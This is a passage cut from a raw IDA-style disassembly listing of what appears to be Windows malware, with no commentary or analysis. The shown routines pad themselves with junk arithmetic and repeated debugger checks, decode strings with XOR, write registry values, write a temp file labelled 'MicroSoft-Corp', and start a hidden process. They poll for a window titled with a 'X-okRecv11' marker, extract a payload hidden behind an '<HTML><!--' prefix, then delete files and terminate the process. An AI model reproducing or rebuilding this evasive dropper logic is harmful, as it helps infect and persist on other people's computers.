1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp mov eax, 300A4h call sub_40C6B8 push ebx push esi push edi mov [ebp+var_30016], 316Dh movzx eax, [ebp+var_30016] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_30016], ax and [ebp+var_3001C], 0 call sub_40C740 ; GetCurrentThreadId and [ebp+var_2000C], 0 and [ebp+var_30014], 0 lea eax, [ebp+var_10004] push eax push [ebp+arg_4] call sub_401A7E add esp, 8 mov ebx, eax mov ax, word_4422B8 mov [ebp+var_3004A], ax mov eax, [ebp+var_10004] or eax, eax jz short loc_405543 or ebx, ebx jz short loc_405543 cmp [ebp+arg_14], eax jb short loc_405571 loc_405543: ; CODE XREF: sub_4054C8+70j ; sub_4054C8+74j mov byte ptr [ebp+var_30078+3], 6Fh add byte ptr [ebp+var_30078+3], 1 push ebx call sub_40C884 ; LocalFree mov word ptr [ebp+var_30078], 52A5h inc word ptr [ebp+var_30078] mov [ebp+var_3001C], 1 loc_405571: ; CODE XREF: sub_4054C8+79j push [ebp+arg_C] call sub_40C95C ; lstrlenA mov [ebp+var_30078], eax mov eax, 64h mul [ebp+var_10004] mov [ebp+var_3007C], eax mov edi, [ebp+var_30078] imul edi, [ebp+var_30078], 32h mov esi, [ebp+var_3007C] lea edi, [esi+edi+1000h] push edi push 40h call sub_40C878 ; LocalAlloc mov [ebp+var_20008], eax call sub_40C734 ; GetCurrentProcessId lea edi, [ebp+var_30051] lea esi, aQcfdx ; "QcfdX'" mov ecx, 7 rep movsb lea edi, [ebp+var_30054] lea esi, aNy ; "NY" mov ecx, 3 rep movsb push [ebp+arg_0] push 104h call sub_40C7B8 ; GetTempPathA call sub_40C794 ; GetProcessHeap mov eax, [ebp+arg_0] mov [ebp+var_30080], eax mov ecx, eax or eax, 0FFFFFFFFh loc_405603: ; CODE XREF: sub_4054C8+140j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_405603 mov edi, eax mov esi, 19h sub esi, dword_44229C push esi mov esi, [ebp+var_30080] add esi, edi push esi call sub_40172F add esp, 8 call sub_40C7D0 ; GetVersion push 4 push offset byte_447377 call sub_405138 add esp, 8 push eax push [ebp+arg_0] call sub_40CC74 add esp, 8 mov eax, dword_4422C4 mov [ebp+var_30058], eax push 6 push offset dword_447370 call sub_405138 add esp, 8 push eax push [ebp+var_20008] call sub_40481B add esp, 8 lea edi, [ebp+var_3005B] lea esi, byte_4422C8 mov ecx, 3 rep movsb push 6 push offset byte_447369 call sub_405138 add esp, 8 push eax push [ebp+var_20008] call sub_40481B add esp, 8 mov eax, dword_4422CB mov [ebp+var_3005F], eax push 13h push offset byte_447355 call sub_405138 add esp, 8 push [ebp+arg_1C] push offset aMicrosoftCorp ; "MicroSoft-Corp" push eax lea edi, [ebp+var_20003] push edi call sub_40CC50 add esp, 10h lea eax, [ebp+var_20003] push eax push [ebp+var_20008] call sub_40481B add esp, 8 push 7 push offset word_44733E call sub_405138 add esp, 8 push eax push [ebp+var_20008] call sub_40481B add esp, 8 mov [ebp+var_30021], 51h sub [ebp+var_30021], 7Ch push 6 push offset byte_447337 call sub_405138 add esp, 8 push eax push [ebp+var_20008] call sub_40481B add esp, 8 call sub_40C7C4 ; GetTickCount lea edi, [ebp+var_30064] lea esi, a70cg ; "70cg" mov ecx, 5 rep movsb push 5 push offset byte_447331 call sub_405138 add esp, 8 mov [ebp+var_30084], eax call sub_40CC38 mov ecx, 3E8h cdq idiv ecx push edx mov edi, [ebp+var_30084] push [ebp+var_30084] lea edi, [ebp+var_3002B] push edi call sub_40CC50 add esp, 0Ch call sub_40C854 ; IsDebuggerPresent push 2Ah push offset word_447306 call sub_405138 add esp, 8 lea edi, [ebp+var_3002B] push edi push [ebp+arg_8] push eax lea edi, [ebp+var_20003] push edi call sub_40CC50 add esp, 10h call sub_40C7C4 ; GetTickCount lea eax, [ebp+var_20003] push eax push [ebp+var_20008] call sub_40481B add esp, 8 mov [ebp+var_3002C], 0CAh movzx eax, [ebp+var_3002C] imul eax, 1107h mov [ebp+var_3002C], al push 2Dh push offset dword_4472D8 call sub_405138 add esp, 8 mov [ebp+var_30088], eax call sub_40CC38 mov ecx, 9 cdq idiv ecx mov edi, edx add edi, 14h push edi mov edi, [ebp+var_30088] push [ebp+var_30088] lea edi, [ebp+var_20003] push edi call sub_40CC50 add esp, 0Ch call sub_40C854 ; IsDebuggerPresent lea eax, [ebp+var_20003] push eax push [ebp+var_20008] call sub_40481B add esp, 8 mov [ebp+var_30030], 7FDh add [ebp+var_30030], 38E3h cmp [ebp+var_3001C], 0 jnz loc_405B6E call sub_40C734 ; GetCurrentProcessId cmp [ebp+arg_18], 0 jz loc_4059C5 lea edi, [ebp+var_3008D] lea esi, byte_4422D4 xor ecx, ecx inc ecx rep movsb and [ebp+var_3008C], 0 jmp loc_4059A8 ; --------------------------------------------------------------------------- loc_405896: ; CODE XREF: sub_4054C8+4ECj call sub_40C854 ; IsDebuggerPresent mov [ebp+var_10000], 0 mov ax, word_4422D5 mov [ebp+var_30096], ax and [ebp+var_30094], 0 jmp loc_40594A ; --------------------------------------------------------------------------- loc_4058BB: ; CODE XREF: sub_4054C8+48Cj call sub_40C734 ; GetCurrentProcessId mov eax, [ebp+var_3008C] add eax, [ebp+var_30094] cmp eax, [ebp+var_10004] jnb loc_40595A push 6 push offset dword_44737C call sub_405138 mov [ebp+var_3009C], eax mov edi, [ebp+var_3008C] add edi, [ebp+var_30094] movzx edi, byte ptr [ebx+edi] mov eax, edi mov ecx, 1Ah cdq idiv ecx mov esi, edx add esi, 61h push esi mov eax, edi mov ecx, 1Ah mov edx, 4EC4EC4Fh mul edx shr edx, 3 mov [ebp+var_300A0], edx mov edi, edx add edi, 61h push edi lea edi, [ebp+var_10000] push edi mov edi, [ebp+var_3009C] push edi lea edi, [ebp+var_10000] push edi call sub_40CC50 add esp, 1Ch inc [ebp+var_30094] loc_40594A: ; CODE XREF: sub_4054C8+3EEj cmp [ebp+var_30094], 80h jb loc_4058BB loc_40595A: ; CODE XREF: sub_4054C8+40Aj push 30h push offset byte_4472A7 call sub_405138 push [ebp+var_2000C] push [ebp+arg_10] lea edi, [ebp+var_10000] push edi push eax lea edi, [ebp+var_20003] push edi call sub_40CC50 lea eax, [ebp+var_20003] push eax push [ebp+var_20008] call sub_40481B add esp, 24h add [ebp+var_3008C], 80h inc [ebp+var_2000C] loc_4059A8: ; CODE XREF: sub_4054C8+3C9j mov eax, [ebp+var_10004] cmp [ebp+var_3008C], eax jb loc_405896 mov [ebp+var_30014], eax jmp loc_405B6E ; --------------------------------------------------------------------------- loc_4059C5: ; CODE XREF: sub_4054C8+3ABj call sub_40C854 ; IsDebuggerPresent mov eax, [ebp+arg_14] mov [ebp+var_10004], eax jmp loc_405B4A ; --------------------------------------------------------------------------- loc_4059D8: ; CODE XREF: sub_4054C8+6A0j call sub_40C734 ; GetCurrentProcessId cmp [ebp+var_10000], 0 jz loc_405B4A mov byte ptr [ebp+var_3008C+2], 9Fh sub byte ptr [ebp+var_3008C+2], 36h mov eax, [ebp+arg_14] add eax, 0C800h cmp [ebp+var_10004], eax jnb loc_405B6E lea edi, [ebp+var_3009C+3] lea esi, byte_4422D7 mov ecx, 7 rep movsb mov eax, [ebp+var_10004] mov [ebp+var_30014], eax push 3 push offset off_4472A3 call sub_405138 push [ebp+arg_C] push eax lea edi, [ebp+var_3000C] push edi call sub_40CC50 add esp, 14h lea edi, [ebp+var_300A1] lea esi, a9jm6N ; "'9jM6 N" movsd movsd lea ecx, [ebp+var_3000C] or eax, 0FFFFFFFFh loc_405A61: ; CODE XREF: sub_4054C8+59Ej inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_405A61 mov edi, eax mov word ptr [ebp+var_30094+2], di mov word ptr [ebp+var_3008C], 45ACh movzx eax, word ptr [ebp+var_3008C] imul eax, 6B72h mov word ptr [ebp+var_3008C], ax lea eax, [ebp+var_10000] push eax movzx eax, word ptr [ebp+var_30094+2] lea eax, [ebp+eax+var_3000C] push eax call sub_40C6D8 mov byte ptr [ebp+var_3008C+3], 0DBh movzx eax, byte ptr [ebp+var_3008C+3] mov edx, eax add edx, eax mov eax, edx mov byte ptr [ebp+var_3008C+3], al lea eax, [ebp+var_3000C] push eax call sub_4053FE add esp, 4 mov [ebp+var_30010], eax push 30h push offset byte_4472A7 call sub_405138 add esp, 8 push [ebp+var_2000C] push [ebp+arg_10] push [ebp+var_30010] push eax lea edi, [ebp+var_20003] push edi call sub_40CC50 add esp, 14h call sub_40C740 ; GetCurrentThreadId lea eax, [ebp+var_20003] push eax push [ebp+var_20008] call sub_40481B add esp, 8 mov dword ptr [ebp-30090h], 472Eh add dword ptr [ebp-30090h], 7A98h push [ebp+var_30010] call sub_40C884 ; LocalFree call sub_40C794 ; GetProcessHeap inc [ebp+var_2000C] loc_405B4A: ; CODE XREF: sub_4054C8+50Bj ; sub_4054C8+51Cj lea eax, [ebp+var_10000] push eax push [ebp+var_10004] push ebx call sub_401BB7 add esp, 0Ch mov [ebp+var_10004], eax or eax, eax jnz loc_4059D8 loc_405B6E: ; CODE XREF: sub_4054C8+39Cj ; sub_4054C8+4F8j ... push 1Eh push offset dword_447284 call sub_405138 push eax push [ebp+var_20008] call sub_40481B mov [ebp+var_30034], 2A8Eh add [ebp+var_30034], 6CB3h push 7 push offset dword_44727C call sub_405138 push eax push [ebp+var_20008] call sub_40481B call sub_40C7D0 ; GetVersion push 8 push offset byte_447273 call sub_405138 push eax push [ebp+var_20008] call sub_404529 mov [ebp+var_30035], 15h add [ebp+var_30035], 2Fh lea edi, [ebp+var_30067] lea esi, aG ; "ƒ>" mov ecx, 3 rep movsb push 6 push offset dword_44726C call sub_405138 mov [ebp+var_3008C], eax call sub_40CC38 mov [ebp-30090h], eax call sub_40CC38 mov ecx, 63h cdq idiv ecx push edx mov edi, [ebp-30090h] mov eax, edi mov ecx, 14h cdq idiv ecx mov edi, edx add edi, 61h push edi mov edi, [ebp+var_3008C] push edi lea edi, [ebp+var_3003F] push edi call sub_40CC50 mov [ebp+var_30018], 0F6Ah movzx eax, [ebp+var_30018] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_30018], ax push 0Eh push offset byte_44725D call sub_405138 lea edi, [ebp+var_3003F] push edi push eax lea edi, [ebp+var_20003] push edi call sub_40CC50 lea eax, [ebp+var_20003] push eax push [ebp+var_20008] call sub_404529 mov [ebp+var_30040], 95h add [ebp+var_30040], 1 push 15h push offset byte_447247 call sub_405138 lea edi, [ebp+var_3002B] push edi push eax lea edi, [ebp+var_20003] push edi call sub_40CC50 lea edi, [ebp+var_3006C] lea esi, a0A ; "0 ,a" mov ecx, 5 rep movsb lea eax, [ebp+var_20003] push eax push [ebp+var_20008] call sub_404529 call sub_40C740 ; GetCurrentThreadId push 1 push offset byte_447245 call sub_405138 push eax push [ebp+var_20008] call sub_404529 mov ax, word_4422EE mov [ebp+var_3006E], ax push 16h push offset word_44722E call sub_405138 mov [ebp+var_30094], eax call sub_40CC38 mov ecx, 3E8h cdq idiv ecx mov edi, edx add edi, 2710h push edi lea edi, [ebp+var_3003F] push edi mov edi, [ebp+var_30094] push edi lea edi, [ebp+var_20003] push edi call sub_40CC50 call sub_40C764 ; RtlGetLastWin32Error lea eax, [ebp+var_20003] push eax push [ebp+var_20008] call sub_404529 mov [ebp+var_30041], 97h add [ebp+var_30041], 3Eh push 9 push offset dword_447224 call sub_405138 push eax push [ebp+var_20008] call sub_40481B lea edi, [ebp+var_30071] lea esi, byte_4422F0 mov ecx, 3 rep movsb push 7 push offset dword_44721C call sub_405138 push eax push [ebp+var_20008] call sub_40481B call sub_40C740 ; GetCurrentThreadId push 7 push offset dword_447214 call sub_405138 push eax push [ebp+var_20008] call sub_40CC74 call sub_40C7C4 ; GetTickCount push [ebp+arg_0] call sub_40341E add esp, 0E4h mov [ebp+var_30044], 4FFDh inc [ebp+var_30044] push 0 push 0 push 2 push 0 push 0 push 40000000h push [ebp+arg_0] call sub_40C8CC ; CreateFileA mov [ebp+var_30020], eax mov [ebp+var_30048], 473Dh add [ebp+var_30048], 10D3h push [ebp+var_20008] call sub_40C95C ; lstrlenA push 0 lea edi, [ebp+var_2000C] push edi push eax push [ebp+var_20008] push [ebp+var_30020] call sub_40C944 ; WriteFile push [ebp+var_30020] call sub_40C7AC ; CloseHandle push [ebp+var_20008] call sub_40C884 ; LocalFree cmp [ebp+var_3001C], 0 jnz short loc_405E78 push ebx call sub_40C884 ; LocalFree jmp short loc_405E7D ; --------------------------------------------------------------------------- loc_405E78: ; CODE XREF: sub_4054C8+9A6j or eax, 0FFFFFFFFh jmp short loc_405E83 ; --------------------------------------------------------------------------- loc_405E7D: ; CODE XREF: sub_4054C8+9AEj mov eax, [ebp+var_30014] loc_405E83: ; CODE XREF: sub_4054C8+9B3j pop edi pop esi pop ebx leave retn sub_4054C8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405E88 proc near ; CODE XREF: sub_4061F7:loc_40632Dp var_2124 = dword ptr -2124h var_2120 = byte ptr -2120h var_1121 = byte ptr -1121h var_130 = dword ptr -130h var_12B = byte ptr -12Bh var_126 = byte ptr -126h var_124 = dword ptr -124h var_120 = dword ptr -120h var_11C = word ptr -11Ch var_11A = byte ptr -11Ah var_114 = byte ptr -114h var_10D = byte ptr -10Dh var_10A = word ptr -10Ah var_108 = dword ptr -108h var_101 = byte ptr -101h var_100 = byte ptr -100h push ebp mov ebp, esp mov eax, 2124h call sub_40C6B8 push esi push edi call sub_40C764 ; RtlGetLastWin32Error lea edi, [ebp+var_10D] lea esi, byte_4422F3 mov ecx, 3 rep movsb lea edi, [ebp+var_114] lea esi, aZ0y ; ",`z:0Y" mov ecx, 7 rep movsb and [ebp+var_108], 0 mov [ebp+var_101], 0 jmp loc_406024 ; --------------------------------------------------------------------------- loc_405ED5: ; CODE XREF: sub_405E88+1A4j call sub_40C740 ; GetCurrentThreadId push 44h push offset byte_4471CF call sub_405138 movzx edi, [ebp+var_101] push edi push eax lea edi, [ebp+var_100] push edi call sub_40CC50 call sub_40C7D0 ; GetVersion push 4 push offset word_4471CA call sub_405138 push 4 push 4 lea edi, [ebp+var_108] push edi push eax lea edi, [ebp+var_100] push edi push 80000001h call sub_40160A lea edi, [ebp+var_126] lea esi, aNw ; "Nw " mov ecx, 3 rep movsw push 4 push offset word_4471CA call sub_405138 push 4 push 4 lea edi, [ebp+var_108] push edi push eax lea edi, [ebp+var_100] push edi push 80000002h call sub_40160A mov [ebp+var_120], 2D0Fh mov eax, 37FBh mul [ebp+var_120] mov [ebp+var_130], eax mov [ebp+var_120], eax push 4Dh push offset dword_44717C call sub_405138 movzx edi, [ebp+var_101] push edi push eax lea edi, [ebp+var_100] push edi call sub_40CC50 call sub_40C794 ; GetProcessHeap push 4 push offset word_4471CA call sub_405138 push 4 push 4 lea edi, [ebp+var_108] push edi push eax lea edi, [ebp+var_100] push edi push 80000002h call sub_40160A lea edi, [ebp+var_12B] lea esi, aAy ; " ay+" mov ecx, 5 rep movsb push 4 push offset word_4471CA call sub_405138 push 4 push 4 lea edi, [ebp+var_108] push edi push eax lea edi, [ebp+var_100] push edi push 80000001h call sub_40160A add esp, 0A8h call sub_40C794 ; GetProcessHeap add [ebp+var_101], 1 loc_406024: ; CODE XREF: sub_405E88+48j mov al, [ebp+var_101] cmp al, 5 jb loc_405ED5 call sub_40C7D0 ; GetVersion cmp eax, 80000000h jb short loc_4060A2 call sub_40C764 ; RtlGetLastWin32Error push 4Ch push offset byte_44712F call sub_405138 mov [ebp+var_120], eax push 10h push offset aNskoyryklns_yo ; "~NSKOYrYKlNS_YOO" call sub_405138 mov [ebp+var_124], eax push 3 push offset word_44711A call sub_405138 push 1 mov edi, 15h sub edi, dword_44229C push edi push eax mov edi, [ebp+var_124] push edi mov edi, [ebp+var_120] push edi push 80000003h call sub_40160A add esp, 30h jmp loc_406140 ; --------------------------------------------------------------------------- loc_4060A2: ; CODE XREF: sub_405E88+1B4j mov ax, word_442308 mov word ptr [ebp+var_124+2], ax mov eax, dword_44230A mov [ebp+var_2124], eax lea eax, [ebp+var_1121] push eax call sub_40506F call sub_40C794 ; GetProcessHeap push 59h push offset dword_4470C0 call sub_405138 lea edi, [ebp+var_1121] push edi push eax lea edi, [ebp+var_2120] push edi call sub_40CC50 call sub_40C7C4 ; GetTickCount and [ebp+var_120], 0 push 0Ch push offset byte_4470B3 call sub_405138 push 4 push 4 lea edi, [ebp+var_120] push edi push eax lea edi, [ebp+var_2120] push edi push 80000003h call sub_40160A add esp, 38h mov [ebp+var_11C], 3003h movzx eax, [ebp+var_11C] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_11C], ax loc_406140: ; CODE XREF: sub_405E88+215j push 3Bh push offset byte_447077 call sub_405138 mov [ebp+var_120], eax push 11h push offset aPsPioynszzpury ; "{PS^]PiOYNsZZPURY" call sub_405138 push 4 push 4 lea edi, [ebp+var_108] push edi push eax mov edi, [ebp+var_120] push edi push 80000001h call sub_40160A lea edi, [ebp+var_11A] lea esi, aQa@ ; "*Q€@ " mov ecx, 3 rep movsw push 33h push offset byte_447031 call sub_405138 push 1 push 0 push offset byte_447529 push offset byte_447529 push eax push 80000001h call sub_40160A call sub_40C734 ; GetCurrentProcessId push 3Bh push offset byte_446FF5 call sub_405138 push 1 push 0 push offset byte_447529 push offset byte_447529 push eax push 80000001h call sub_40160A add esp, 68h mov [ebp+var_10A], 4809h sub [ebp+var_10A], 555h pop edi pop esi leave retn sub_405E88 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4061F7 proc near ; CODE XREF: sub_4098A8+29Dp ; sub_4098A8+647p ... var_3DF = byte ptr -3DFh var_3DC = dword ptr -3DCh var_3D7 = byte ptr -3D7h var_3D6 = byte ptr -3D6h var_2D2 = byte ptr -2D2h var_2CD = dword ptr -2CDh var_2C9 = byte ptr -2C9h var_2C8 = dword ptr -2C8h var_2C4 = dword ptr -2C4h var_2C0 = dword ptr -2C0h var_2BB = byte ptr -2BBh var_2B5 = byte ptr -2B5h var_2B4 = dword ptr -2B4h var_2AD = byte ptr -2ADh var_2A5 = byte ptr -2A5h var_29F = byte ptr -29Fh var_298 = byte ptr -298h var_295 = byte ptr -295h var_28F = byte ptr -28Fh var_28C = byte ptr -28Ch var_286 = byte ptr -286h var_281 = dword ptr -281h var_27D = byte ptr -27Dh var_278 = dword ptr -278h var_274 = dword ptr -274h var_270 = dword ptr -270h var_26C = dword ptr -26Ch var_268 = word ptr -268h var_266 = word ptr -266h var_264 = dword ptr -264h var_260 = dword ptr -260h var_25C = dword ptr -25Ch var_250 = byte ptr -250h var_14C = dword ptr -14Ch var_148 = dword ptr -148h var_11C = dword ptr -11Ch var_118 = word ptr -118h var_104 = byte ptr -104h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 3E0h push ebx push esi push edi lea edi, [ebp+var_27D] lea esi, aIJ ; "%i J" mov ecx, 5 rep movsb and [ebp+var_14C], 0 mov eax, dword_442319 mov [ebp+var_281], eax xor ebx, ebx lea edi, [ebp+var_286] lea esi, aS?xv ; "S?XV" mov ecx, 5 rep movsb push offset dword_4422A4 call sub_40C830 ; InterlockedIncrement mov [ebp+var_26C], eax mov [ebp+var_264], 6A69h mov eax, [ebp+var_264] mov edx, eax add edx, eax mov [ebp+var_264], edx push 10h push 0 lea eax, [ebp+var_260] push eax call sub_40CC20 mov [ebp+var_266], 6967h sub [ebp+var_266], 112Ch mov [ebp+var_270], 104h call sub_40C794 ; GetProcessHeap push 21h push offset byte_446FD3 call sub_405138 mov [ebp+var_2B4], eax push 4 push offset aLHt ; "l]HT" call sub_405138 lea edi, [ebp+var_28C] push edi lea edi, [ebp+var_270] push edi lea edi, [ebp+var_250] push edi push eax mov edi, [ebp+var_2B4] push edi push 80000002h call sub_4014C9 add esp, 34h mov [ebp+var_274], eax mov [ebp+var_268], 31E9h sub [ebp+var_268], 5E5h test eax, eax jnz short loc_40632D mov [ebp+var_2B5], 0E2h add [ebp+var_2B5], 1 push [ebp+arg_0] call sub_40C884 ; LocalFree lea edi, [ebp+var_2BB] lea esi, aDFY ; "D/f'Y" mov ecx, 3 rep movsw xor eax, eax jmp loc_406810 ; --------------------------------------------------------------------------- loc_40632D: ; CODE XREF: sub_4061F7+103j call sub_405E88 lea edi, [ebp+var_28F] lea esi, a6l ; "6l" mov ecx, 3 rep movsb push 104h lea eax, [ebp+var_104] push eax lea eax, [ebp+var_250] push eax call sub_40C71C ; ExpandEnvironmentStringsA lea edi, [ebp+var_295] lea esi, byte_44232B mov ecx, 3 rep movsw push [ebp+var_26C] push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] lea eax, [ebp+var_250] push eax call sub_4054C8 add esp, 20h mov [ebp+var_14C], eax cmp [ebp+arg_1C], 0 jz short loc_4063BC cmp eax, 0FFFFFFFFh jz short loc_4063B6 mov eax, [ebp+arg_1C] mov edx, [ebp+var_14C] mov [eax], edx jmp short loc_4063BC ; --------------------------------------------------------------------------- loc_4063B6: ; CODE XREF: sub_4061F7+1B0j mov eax, [ebp+arg_1C] and dword ptr [eax], 0 loc_4063BC: ; CODE XREF: sub_4061F7+1ABj ; sub_4061F7+1BDj cmp [ebp+var_14C], 0 jnz short loc_4063DF mov eax, dword_442331 mov [ebp-2B8h], eax push [ebp+arg_0] call sub_40C884 ; LocalFree xor eax, eax jmp loc_406810 ; --------------------------------------------------------------------------- loc_4063DF: ; CODE XREF: sub_4061F7+1CCj push 0Eh push offset byte_446FBF call sub_405138 push eax lea edi, [ebp+var_104] push edi call sub_40CC74 lea edi, [ebp+var_298] lea esi, byte_442335 mov ecx, 3 rep movsb lea eax, [ebp+var_250] push eax lea eax, [ebp+var_104] push eax call sub_40CC74 call sub_40C794 ; GetProcessHeap call sub_4043CA mov [ebp+var_278], eax lea edi, [ebp+var_29F] lea esi, aEnoX ; "Eno$#X" mov ecx, 7 rep movsb push 44h push 0 lea eax, [ebp+var_148] push eax call sub_40CC20 call sub_40C854 ; IsDebuggerPresent push 44h push 0 lea eax, [ebp+var_148] push eax call sub_40CC20 add esp, 30h lea edi, [ebp+var_2A5] lea esi, a231w ; "231w-" mov ecx, 3 rep movsw mov [ebp+var_148], 44h lea edi, [ebp+var_2AD] lea esi, aR2Oe@ ; "r2#Oe%@" mov ecx, 2 rep movsd mov [ebp+var_11C], 1 mov [ebp+var_118], 1 cmp [ebp+var_278], 0 jz short loc_4064C5 lea eax, [ebp+var_148] push eax call sub_40446E pop ecx jmp short loc_4064CE ; --------------------------------------------------------------------------- loc_4064C5: ; CODE XREF: sub_4061F7+2BDj mov [ebp+var_118], 0 loc_4064CE: ; CODE XREF: sub_4061F7+2CCj lea eax, [ebp+var_260] push eax lea eax, [ebp+var_148] push eax push 0 push 0 push 20h push 0 push 0 push 0 lea eax, [ebp+var_104] push eax push 0 call sub_40C974 ; CreateProcessA or eax, eax jz loc_4067AD mov eax, dword_44234D mov [ebp+var_2C4], eax push [ebp+var_25C] call sub_40C7AC ; CloseHandle mov dword ptr [ebp-2BCh], 4906h mov eax, 28BCh mul dword ptr [ebp-2BCh] mov [ebp+var_2C8], eax mov [ebp-2BCh], eax push 22h push offset dword_446F9C call sub_405138 push [ebp+var_26C] push offset aMicrosoftCorp ; "MicroSoft-Corp" push eax lea edi, [ebp+var_104] push edi call sub_40CC50 add esp, 18h mov [ebp+var_2C0], 5F7Dh add [ebp+var_2C0], 58F3h mov [ebp+var_2B5], 0 jmp short loc_4065D0 ; --------------------------------------------------------------------------- loc_406579: ; CODE XREF: sub_4061F7+3E1j call sub_40C7C4 ; GetTickCount push 7 push offset aUyznQy ; "uyzN]QY" call sub_405138 add esp, 8 lea edi, [ebp+var_104] push edi push eax call sub_40C9B0 ; FindWindowA mov ebx, eax or ebx, ebx jnz short loc_4065DA mov [ebp+var_2C9], 0BAh add [ebp+var_2C9], 0Bh mov eax, dword_44229C add eax, 3D7h push eax call sub_40C8F0 ; Sleep mov eax, dword_442351 mov [ebp+var_2CD], eax add [ebp+var_2B5], 1 loc_4065D0: ; CODE XREF: sub_4061F7+380j mov al, [ebp+var_2B5] cmp al, 0Ah jb short loc_406579 loc_4065DA: ; CODE XREF: sub_4061F7+3A7j or ebx, ebx jz loc_40679F call sub_40C734 ; GetCurrentProcessId push 0EA60h call sub_40C8F0 ; Sleep call sub_40C764 ; RtlGetLastWin32Error push 104h lea eax, [ebp+var_104] push eax push ebx call sub_40C998 ; GetWindowTextA call sub_40C794 ; GetProcessHeap mov eax, 12h sub eax, dword_44229C push eax push offset aXOkrecv11 ; "X-okRecv11" lea eax, [ebp+var_104] push eax call sub_40181A add esp, 0Ch cmp eax, 0FFFFh jz loc_406775 lea edi, [ebp+var_2D2] lea esi, aCurh ; "`CuRH" mov ecx, 3 rep movsw mov [ebp+var_2CD+1], 4072h inc [ebp+var_2CD+1] lea eax, [ebp+var_3D6] push eax push [ebp+arg_4] call sub_40523D add esp, 8 or eax, eax jz loc_406759 call sub_40C740 ; GetCurrentThreadId push 0 push [ebp+arg_8] lea eax, [ebp+var_3D6] push eax call sub_40C86C ; CopyFileA lea edi, [ebp+var_3DF] lea esi, aC ; "c " mov ecx, 3 rep movsb lea eax, [ebp+var_14C] push eax push [ebp+arg_8] call sub_401A7E mov [ebp+var_3DC], eax call sub_40C734 ; GetCurrentProcessId push [ebp+arg_8] call sub_40C704 ; DeleteFileA mov [ebp+var_3D7], 18h movzx eax, [ebp+var_3D7] imul eax, 415h mov [ebp+var_3D7], al push offset aHtml ; "<HTML><!--" call sub_40C95C ; lstrlenA push eax push offset aHtml ; "<HTML><!--" push [ebp+var_3DC] call sub_40CC8C add esp, 14h or eax, eax jnz short loc_406727 push offset aHtml ; "<HTML><!--" call sub_40C95C ; lstrlenA mov edi, [ebp+var_14C] sub edi, 3Ah push edi mov edi, eax add edi, [ebp+var_3DC] push edi push [ebp+arg_8] call sub_4051C3 add esp, 0Ch jmp short loc_406742 ; --------------------------------------------------------------------------- loc_406727: ; CODE XREF: sub_4061F7+504j mov eax, [ebp+var_14C] sub eax, 40h push eax push [ebp+var_3DC] push [ebp+arg_8] call sub_4051C3 add esp, 0Ch loc_406742: ; CODE XREF: sub_4061F7+52Ej push [ebp+var_3DC] call sub_40C884 ; LocalFree mov [ebp+var_14C], 2 jmp short loc_4067CE ; --------------------------------------------------------------------------- loc_406759: ; CODE XREF: sub_4061F7+479j mov [ebp+var_3DC], 14F0h inc [ebp+var_3DC] mov [ebp+var_14C], 1 jmp short loc_4067CE ; --------------------------------------------------------------------------- loc_406775: ; CODE XREF: sub_4061F7+43Bj mov [ebp+var_2CD+1], 789Bh mov eax, 506Fh mul [ebp+var_2CD+1] mov [ebp-2D0h], eax mov [ebp+var_2CD+1], eax and [ebp+var_14C], 0 jmp short loc_4067CE ; --------------------------------------------------------------------------- loc_40679F: ; CODE XREF: sub_4061F7+3E5j call sub_40C740 ; GetCurrentThreadId and [ebp+var_14C], 0 jmp short loc_4067CE ; --------------------------------------------------------------------------- loc_4067AD: ; CODE XREF: sub_4061F7+301j mov dword ptr [ebp-2B8h], 1965h mov eax, [ebp-2B8h] mov edx, eax add edx, eax mov [ebp-2B8h], edx and [ebp+var_14C], 0 loc_4067CE: ; CODE XREF: sub_4061F7+560j ; sub_4061F7+57Cj ... lea eax, [ebp+var_250] push eax call sub_40C704 ; DeleteFileA call sub_40C854 ; IsDebuggerPresent push [ebp+arg_0] call sub_40C884 ; LocalFree call sub_40C764 ; RtlGetLastWin32Error push 0 push [ebp+var_260] call sub_40C8FC ; TerminateProcess mov ebx, 77CCh inc ebx push [ebp+var_260] call sub_40C7AC ; CloseHandle mov eax, [ebp+var_14C] loc_406810: ; CODE XREF: sub_4061F7+131j ; sub_4061F7+1E3j pop edi pop esi pop ebx leave retn sub_4061F7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406815 proc near ; CODE XREF: sub_406A40+ADp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi push edi mov esi, [ebp+arg_4] mov [ebp+var_4], 307h push esi push [ebp+arg_0] mov eax, dword_442368 lea eax, ds:41C7C0h[eax] push eax call sub_40CC14 add esp, 0Ch mov [ebp+var_8], 12Ah xor edi, edi jmp short loc_406862 ; --------------------------------------------------------------------------- loc_40684B: ; CODE XREF: sub_406815+4Fj mov eax, dword_442368 add eax, edi lea eax, ds:41C7C0h[eax] movsx edx, byte ptr [eax] xor edx, 16h mov [eax], dl inc edi loc_406862: ; CODE XREF: sub_406815+34j cmp edi, esi jl short loc_40684B mov [ebp+var_C], 3B6h mov eax, dword_442368 add eax, esi mov byte ptr ds:dword_41C7C0[eax], 0 mov edi, dword_442368 inc dword_442368 mov eax, dword_442368 lea eax, [eax+esi+2] mov dword_442368, eax add dword_442368, 2 cmp dword_442368, 0DD4h jle short loc_4068B0 and dword_442368, 0 loc_4068B0: ; CODE XREF: sub_406815+92j mov [ebp+var_10], 1F1h lea eax, dword_41C7C0[edi] pop edi pop esi leave retn sub_406815 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4068C1 proc near ; CODE XREF: sub_406D2E+141p ; sub_406D2E+562p ... var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = 